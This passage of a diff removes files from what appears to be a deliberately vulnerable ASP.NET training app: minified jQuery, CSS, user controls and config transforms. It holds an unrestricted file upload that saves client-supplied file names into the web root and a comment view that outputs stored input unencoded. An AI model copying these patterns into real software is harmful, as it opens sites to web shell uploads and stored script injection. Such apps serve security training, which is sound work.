o=this;for(j in a){var m=j.replace(ha,ia);if(j!==m){a[m]=a[j];delete a[j];j=m}if(a[j]==="hide"&&n||a[j]==="show"&&!n)return i.complete.call(this);if((j==="height"||j==="width")&&this.style){i.display=c.css(this,"display");i.overflow=this.style.overflow}if(c.isArray(a[j])){(i.specialEasing=i.specialEasing||{})[j]=a[j][1];a[j]=a[j][0]}}if(i.overflow!=null)this.style.overflow="hidden";i.curAnim=c.extend({},a);c.each(a,function(s,x){var A=new c.fx(o,i,s);if(wb.test(x))A[x==="toggle"?n?"show":"hide":x](a);
|
||||
else{var B=xb.exec(x),C=A.cur(true)||0;if(B){x=parseFloat(B[2]);var E=B[3]||"px";if(E!=="px"){o.style[s]=(x||1)+E;C=(x||1)/A.cur(true)*C;o.style[s]=C+E}if(B[1])x=(B[1]==="-="?-1:1)*x+C;A.custom(C,x,E)}else A.custom(C,x,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",
|
||||
1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,
|
||||
b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==
|
||||
null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(i){return e.step(i)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop===
|
||||
"width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=
|
||||
this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=
|
||||
c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=
|
||||
null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in r.documentElement?function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),
|
||||
f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(s){c.offset.setOffset(this,a,s)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=
|
||||
b,e=b.ownerDocument,i,j=e.documentElement,n=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var o=b.offsetTop,m=b.offsetLeft;(b=b.parentNode)&&b!==n&&b!==j;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;i=e?e.getComputedStyle(b,null):b.currentStyle;o-=b.scrollTop;m-=b.scrollLeft;if(b===d){o+=b.offsetTop;m+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){o+=parseFloat(i.borderTopWidth)||
|
||||
0;m+=parseFloat(i.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&i.overflow!=="visible"){o+=parseFloat(i.borderTopWidth)||0;m+=parseFloat(i.borderLeftWidth)||0}f=i}if(f.position==="relative"||f.position==="static"){o+=n.offsetTop;m+=n.offsetLeft}if(c.offset.supportsFixedPosition&&f.position==="fixed"){o+=Math.max(j.scrollTop,n.scrollTop);m+=Math.max(j.scrollLeft,n.scrollLeft)}return{top:o,left:m}};c.offset={initialize:function(){var a=r.body,b=r.createElement("div"),
|
||||
d,f,e,i=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";a.insertBefore(b,a.firstChild);
|
||||
d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i;a.removeChild(b);c.offset.initialize=c.noop},
|
||||
bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),i=parseInt(c.curCSS(a,"top",true),10)||0,j=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+i,left:b.left-
|
||||
e.left+j};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=
|
||||
this.offsetParent||r.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],i;if(!e)return null;if(f!==v)return this.each(function(){if(i=ua(this))i.scrollTo(!a?f:c(i).scrollLeft(),a?f:c(i).scrollTop());else this[d]=f});else return(i=ua(e))?"pageXOffset"in i?i[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&i.document.documentElement[d]||i.document.body[d]:e[d]}});
|
||||
c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(i){var j=c(this);j[d](f.call(this,i,j[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||
|
||||
e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===v?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});z.jQuery=z.$=c})(window);
|
@ -1,400 +0,0 @@
|
||||
/* DEFAULTS
|
||||
----------------------------------------------------------*/
|
||||
|
||||
body
|
||||
{
|
||||
background: #b6b7bc;
|
||||
font-size: .80em;
|
||||
font-family: "Helvetica Neue", "Lucida Grande", "Segoe UI", Arial, Helvetica, Verdana, sans-serif;
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
color: #999999;
|
||||
|
||||
}
|
||||
|
||||
a:link, a:visited
|
||||
{
|
||||
color: #034af3;
|
||||
}
|
||||
|
||||
a:hover
|
||||
{
|
||||
color: #1d60ff;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:active
|
||||
{
|
||||
color: #034af3;
|
||||
}
|
||||
|
||||
p
|
||||
{
|
||||
margin-bottom: 10px;
|
||||
line-height: 1.6em;
|
||||
}
|
||||
|
||||
|
||||
/* HEADINGS
|
||||
----------------------------------------------------------*/
|
||||
|
||||
h1, h2, h3, h4, h5, h6
|
||||
{
|
||||
font-size: 1.5em;
|
||||
color: #666666;
|
||||
font-variant: small-caps;
|
||||
text-transform: none;
|
||||
font-weight: 200;
|
||||
margin-bottom: 0px;
|
||||
}
|
||||
|
||||
h1
|
||||
{
|
||||
font-size: 1.6em;
|
||||
padding-bottom: 0px;
|
||||
margin-bottom: 0px;
|
||||
}
|
||||
|
||||
h2
|
||||
{
|
||||
font-size: 1.5em;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
h3
|
||||
{
|
||||
font-size: 1.2em;
|
||||
}
|
||||
|
||||
h4
|
||||
{
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
h5, h6
|
||||
{
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* this rule styles <h1> and <h2> tags that are the
|
||||
first child of the left and right table columns */
|
||||
.rightColumn > h1, .rightColumn > h2, .leftColumn > h1, .leftColumn > h2
|
||||
{
|
||||
margin-top: 0px;
|
||||
}
|
||||
|
||||
|
||||
/* PRIMARY LAYOUT ELEMENTS
|
||||
----------------------------------------------------------*/
|
||||
|
||||
.page
|
||||
{
|
||||
width: 960px;
|
||||
background-color: #fff;
|
||||
margin: 20px auto 0px auto;
|
||||
border: 1px solid #496077;
|
||||
}
|
||||
|
||||
.header
|
||||
{
|
||||
position: relative;
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
background: #4b6c9e;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.header h1
|
||||
{
|
||||
font-weight: 700;
|
||||
margin: 0px;
|
||||
padding: 0px 0px 0px 20px;
|
||||
color: #f9f9f9;
|
||||
border: none;
|
||||
line-height: 2em;
|
||||
font-size: 2em;
|
||||
}
|
||||
|
||||
.main
|
||||
{
|
||||
padding: 0px 12px;
|
||||
margin: 12px 8px 8px 8px;
|
||||
min-height: 420px;
|
||||
}
|
||||
|
||||
.leftCol
|
||||
{
|
||||
padding: 6px 0px;
|
||||
margin: 12px 8px 8px 8px;
|
||||
width: 200px;
|
||||
min-height: 200px;
|
||||
}
|
||||
|
||||
.footer
|
||||
{
|
||||
color: #4e5766;
|
||||
padding: 8px 0px 0px 0px;
|
||||
margin: 0px auto;
|
||||
text-align: center;
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
|
||||
/* TAB MENU
|
||||
----------------------------------------------------------*/
|
||||
|
||||
div.hideSkiplink
|
||||
{
|
||||
background-color:#3a4f63;
|
||||
width:100%;
|
||||
}
|
||||
|
||||
div.menu
|
||||
{
|
||||
padding: 4px 0px 4px 8px;
|
||||
}
|
||||
|
||||
div.menu ul
|
||||
{
|
||||
list-style: none;
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
width: auto;
|
||||
}
|
||||
|
||||
div.menu ul li a, div.menu ul li a:visited
|
||||
{
|
||||
background-color: #465c71;
|
||||
border: 1px #4e667d solid;
|
||||
color: #dde4ec;
|
||||
display: block;
|
||||
line-height: 1.35em;
|
||||
padding: 4px 20px;
|
||||
text-decoration: none;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
div.menu ul li a:hover
|
||||
{
|
||||
background-color: #bfcbd6;
|
||||
color: #465c71;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
div.menu ul li a:active
|
||||
{
|
||||
background-color: #465c71;
|
||||
color: #cfdbe6;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
/* FORM ELEMENTS
|
||||
----------------------------------------------------------*/
|
||||
|
||||
fieldset
|
||||
{
|
||||
margin: 1em 0px;
|
||||
padding: 1em;
|
||||
border: 1px solid #ccc;
|
||||
}
|
||||
|
||||
fieldset p
|
||||
{
|
||||
margin: 2px 12px 10px 10px;
|
||||
}
|
||||
|
||||
fieldset.login label, fieldset.register label, fieldset.changePassword label
|
||||
{
|
||||
display: block;
|
||||
}
|
||||
|
||||
fieldset label.inline
|
||||
{
|
||||
display: inline;
|
||||
}
|
||||
|
||||
legend
|
||||
{
|
||||
font-size: 1.1em;
|
||||
font-weight: 600;
|
||||
padding: 2px 4px 8px 4px;
|
||||
}
|
||||
|
||||
input.textEntry
|
||||
{
|
||||
width: 320px;
|
||||
border: 1px solid #ccc;
|
||||
}
|
||||
|
||||
input.passwordEntry
|
||||
{
|
||||
width: 320px;
|
||||
border: 1px solid #ccc;
|
||||
}
|
||||
|
||||
div.accountInfo
|
||||
{
|
||||
width: 42%;
|
||||
}
|
||||
|
||||
/* MISC
|
||||
----------------------------------------------------------*/
|
||||
|
||||
.clear
|
||||
{
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.title
|
||||
{
|
||||
display: block;
|
||||
float: left;
|
||||
text-align: left;
|
||||
width: auto;
|
||||
}
|
||||
|
||||
.loginDisplay
|
||||
{
|
||||
font-size: 1.1em;
|
||||
display: block;
|
||||
text-align: right;
|
||||
padding: 10px;
|
||||
color: White;
|
||||
}
|
||||
|
||||
.loginDisplay a:link
|
||||
{
|
||||
color: white;
|
||||
}
|
||||
|
||||
.loginDisplay a:visited
|
||||
{
|
||||
color: white;
|
||||
}
|
||||
|
||||
.loginDisplay a:hover
|
||||
{
|
||||
color: white;
|
||||
}
|
||||
|
||||
.failureNotification
|
||||
{
|
||||
font-size: 1.2em;
|
||||
color: Red;
|
||||
}
|
||||
|
||||
.bold
|
||||
{
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.submitButton
|
||||
{
|
||||
text-align: right;
|
||||
padding-right: 10px;
|
||||
}
|
||||
|
||||
.center
|
||||
{
|
||||
position: absolute;
|
||||
top: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
width: 900px;
|
||||
height: 600px;
|
||||
margin: auto;
|
||||
background-color: black;
|
||||
|
||||
|
||||
}
|
||||
|
||||
.top
|
||||
{
|
||||
height: 100px;
|
||||
width: 880px;
|
||||
background-image: url("../images/header.png");
|
||||
text-align: right;
|
||||
margin: 10px;
|
||||
padding: 0px;
|
||||
vertical-align;
|
||||
|
||||
}
|
||||
|
||||
.top a:link
|
||||
{
|
||||
color: #BBBBBB;
|
||||
font-family: "Helvetica Neue","Lucida Grande","Segoe UI",Arial,Helvetica,Verdana,sans-serif;
|
||||
}
|
||||
|
||||
.top a:visited
|
||||
{
|
||||
color: #BBBBBB;
|
||||
font-family: "Helvetica Neue","Lucida Grande","Segoe UI",Arial,Helvetica,Verdana,sans-serif;
|
||||
}
|
||||
|
||||
.main
|
||||
{
|
||||
margin: 10px;
|
||||
height: 410px;
|
||||
width: 880px;
|
||||
background-color: #282828;
|
||||
padding: 0px;
|
||||
|
||||
}
|
||||
|
||||
.bottom
|
||||
{
|
||||
margin: 10px;
|
||||
height: 30px;
|
||||
width: 880px;
|
||||
background-color: #282828;
|
||||
text-align: right;
|
||||
|
||||
padding-top: 10px;
|
||||
}
|
||||
.bottom a:link
|
||||
{
|
||||
color: #BBBBBB;
|
||||
font-family: "Helvetica Neue","Lucida Grande","Segoe UI",Arial,Helvetica,Verdana,sans-serif;
|
||||
|
||||
}
|
||||
|
||||
.bottom a:visited
|
||||
{
|
||||
color: #BBBBBB;
|
||||
font-family: "Helvetica Neue","Lucida Grande","Segoe UI",Arial,Helvetica,Verdana,sans-serif;
|
||||
}
|
||||
|
||||
.left
|
||||
{
|
||||
height: 390px;
|
||||
width: 560px;
|
||||
float: left;
|
||||
margin-top:10px;
|
||||
margin-left:10px;
|
||||
margin-right:10px;
|
||||
}
|
||||
|
||||
.left a:link
|
||||
{
|
||||
color: #BBBBBB;
|
||||
font-family: "Helvetica Neue","Lucida Grande","Segoe UI",Arial,Helvetica,Verdana,sans-serif;
|
||||
}
|
||||
|
||||
.left a:visited
|
||||
{
|
||||
color: #BBBBBB;
|
||||
font-family: "Helvetica Neue","Lucida Grande","Segoe UI",Arial,Helvetica,Verdana,sans-serif;
|
||||
}
|
||||
|
||||
.right
|
||||
{
|
||||
height: 160px;
|
||||
width: 290px;
|
||||
text-align:right;
|
||||
float: left;
|
||||
margin-top: 10px;
|
||||
color: #BBBBBB;
|
||||
|
||||
}
|
@ -1,3 +0,0 @@
|
||||
<%@ Control Language="C#" AutoEventWireup="true" CodeBehind="Thankyou.ascx.cs" Inherits="myWebApplication.Thankyou" %>
|
||||
|
||||
<asp:Button ID="back" Text="Go back" runat="server" onclick="back_Click" />
|
@ -1,22 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public partial class Thankyou : System.Web.UI.UserControl
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
protected void back_Click(object sender, EventArgs e)
|
||||
{
|
||||
Response.Redirect("Default.aspx?page=0");
|
||||
}
|
||||
}
|
||||
}
|
@ -1,24 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication {
|
||||
|
||||
|
||||
public partial class Thankyou {
|
||||
|
||||
/// <summary>
|
||||
/// back control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Button back;
|
||||
}
|
||||
}
|
@ -1,15 +0,0 @@
|
||||
<%@ Control Language="C#" AutoEventWireup="true" CodeBehind="Uploadfile.ascx.cs" Inherits="myWebApplication.Uploadfile" %>
|
||||
|
||||
<asp:Label ID="lblStatus" Text="" runat="server" ForeColor="Red" ></asp:Label>
|
||||
<br />
|
||||
<asp:Label ID="lblUpload" runat="server" Text="Upload. File. Now!"></asp:Label>
|
||||
<br />
|
||||
<asp:FileUpload ID="FileUpload" runat="server" />
|
||||
<br />
|
||||
<asp:Button ID="btnUpload" runat="server" Text="Upload"
|
||||
onclick="btnUpload_Click" />
|
||||
|
||||
<br />
|
||||
<br />
|
||||
|
||||
<asp:Button ID="btnBack" runat="server" Text="Return" onclick="btnBack_Click" />
|
@ -1,44 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public partial class Uploadfile : System.Web.UI.UserControl
|
||||
{
|
||||
|
||||
private string filepath = AppDomain.CurrentDomain.BaseDirectory;
|
||||
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
protected void btnUpload_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (FileUpload.HasFile == true)
|
||||
{
|
||||
//there is a file, save it to disk
|
||||
|
||||
filepath += FileUpload.FileName;
|
||||
|
||||
FileUpload.SaveAs(filepath);
|
||||
lblStatus.Text = "File saved";
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
lblStatus.Text = "No File selected";
|
||||
}
|
||||
}
|
||||
|
||||
protected void btnBack_Click(object sender, EventArgs e)
|
||||
{
|
||||
Response.Redirect("default.aspx?page=0");
|
||||
}
|
||||
}
|
||||
}
|
@ -1,60 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication {
|
||||
|
||||
|
||||
public partial class Uploadfile {
|
||||
|
||||
/// <summary>
|
||||
/// lblStatus control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblStatus;
|
||||
|
||||
/// <summary>
|
||||
/// lblUpload control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblUpload;
|
||||
|
||||
/// <summary>
|
||||
/// FileUpload control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.FileUpload FileUpload;
|
||||
|
||||
/// <summary>
|
||||
/// btnUpload control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Button btnUpload;
|
||||
|
||||
/// <summary>
|
||||
/// btnBack control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Button btnBack;
|
||||
}
|
||||
}
|
@ -1,52 +0,0 @@
|
||||
<%@ Control Language="C#" AutoEventWireup="true" CodeBehind="ViewComments.ascx.cs" Inherits="myWebApplication.ViewComments" %>
|
||||
|
||||
|
||||
<asp:ListView ID="ListView1" DataValueKey="Record" runat="server"
|
||||
DataSourceID="SqlDataSource_Comments">
|
||||
|
||||
<LayoutTemplate>
|
||||
<div ID="itemPlaceholderContainer" runat="server" style="">
|
||||
<span runat="server" id="itemPlaceholder" />
|
||||
</div>
|
||||
<div style="">
|
||||
<asp:DataPager ID="DataPager1" runat="server">
|
||||
<Fields>
|
||||
<asp:NextPreviousPagerField ButtonType="Button" ShowFirstPageButton="True"
|
||||
ShowLastPageButton="True" />
|
||||
</Fields>
|
||||
</asp:DataPager>
|
||||
</div>
|
||||
</LayoutTemplate>
|
||||
|
||||
|
||||
<ItemTemplate>
|
||||
<div style="border:1;width:240" >
|
||||
<table width="200px" border="0" cellspacing="2" cellpadding="2">
|
||||
<tr>
|
||||
<td>
|
||||
<b>Name:</b>
|
||||
</td>
|
||||
<td>
|
||||
<%#Eval("Name") %>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="2">
|
||||
<b>Comment:</b>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="2">
|
||||
<%#Eval("Comment") %>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
</ItemTemplate>
|
||||
|
||||
</asp:ListView>
|
||||
|
||||
|
||||
<asp:SqlDataSource ID="SqlDataSource_Comments" runat="server"
|
||||
ConnectionString="<%$ ConnectionStrings:myVulnappDBConnectionString %>"
|
||||
SelectCommand="SELECT [Record], [Name], [Comment] FROM [Table_Comments]"></asp:SqlDataSource>
|
@ -1,17 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public partial class ViewComments : System.Web.UI.UserControl
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,33 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication {
|
||||
|
||||
|
||||
public partial class ViewComments {
|
||||
|
||||
/// <summary>
|
||||
/// ListView1 control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.ListView ListView1;
|
||||
|
||||
/// <summary>
|
||||
/// SqlDataSource_Comments control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.SqlDataSource SqlDataSource_Comments;
|
||||
}
|
||||
}
|
@ -1,30 +0,0 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<!-- For more information on using web.config transformation visit http://go.microsoft.com/fwlink/?LinkId=125889 -->
|
||||
|
||||
<configuration xmlns:xdt="http://schemas.microsoft.com/XML-Document-Transform">
|
||||
<!--
|
||||
In the example below, the "SetAttributes" transform will change the value of
|
||||
"connectionString" to use "ReleaseSQLServer" only when the "Match" locator
|
||||
finds an atrribute "name" that has a value of "MyDB".
|
||||
|
||||
<connectionStrings>
|
||||
<add name="MyDB"
|
||||
connectionString="Data Source=ReleaseSQLServer;Initial Catalog=MyReleaseDB;Integrated Security=True"
|
||||
xdt:Transform="SetAttributes" xdt:Locator="Match(name)"/>
|
||||
</connectionStrings>
|
||||
-->
|
||||
<system.web>
|
||||
<!--
|
||||
In the example below, the "Replace" transform will replace the entire
|
||||
<customErrors> section of your web.config file.
|
||||
Note that because there is only one customErrors section under the
|
||||
<system.web> node, there is no need to use the "xdt:Locator" attribute.
|
||||
|
||||
<customErrors defaultRedirect="GenericError.htm"
|
||||
mode="RemoteOnly" xdt:Transform="Replace">
|
||||
<error statusCode="500" redirect="InternalError.htm"/>
|
||||
</customErrors>
|
||||
-->
|
||||
</system.web>
|
||||
</configuration>
|
@ -1,31 +0,0 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<!-- For more information on using web.config transformation visit http://go.microsoft.com/fwlink/?LinkId=125889 -->
|
||||
|
||||
<configuration xmlns:xdt="http://schemas.microsoft.com/XML-Document-Transform">
|
||||
<!--
|
||||
In the example below, the "SetAttributes" transform will change the value of
|
||||
"connectionString" to use "ReleaseSQLServer" only when the "Match" locator
|
||||
finds an atrribute "name" that has a value of "MyDB".
|
||||
|
||||
<connectionStrings>
|
||||
<add name="MyDB"
|
||||
connectionString="Data Source=ReleaseSQLServer;Initial Catalog=MyReleaseDB;Integrated Security=True"
|
||||
xdt:Transform="SetAttributes" xdt:Locator="Match(name)"/>
|
||||
</connectionStrings>
|
||||
-->
|
||||
<system.web>
|
||||
<compilation xdt:Transform="RemoveAttributes(debug)" />
|
||||
<!--
|
||||
In the example below, the "Replace" transform will replace the entire
|
||||
<customErrors> section of your web.config file.
|
||||
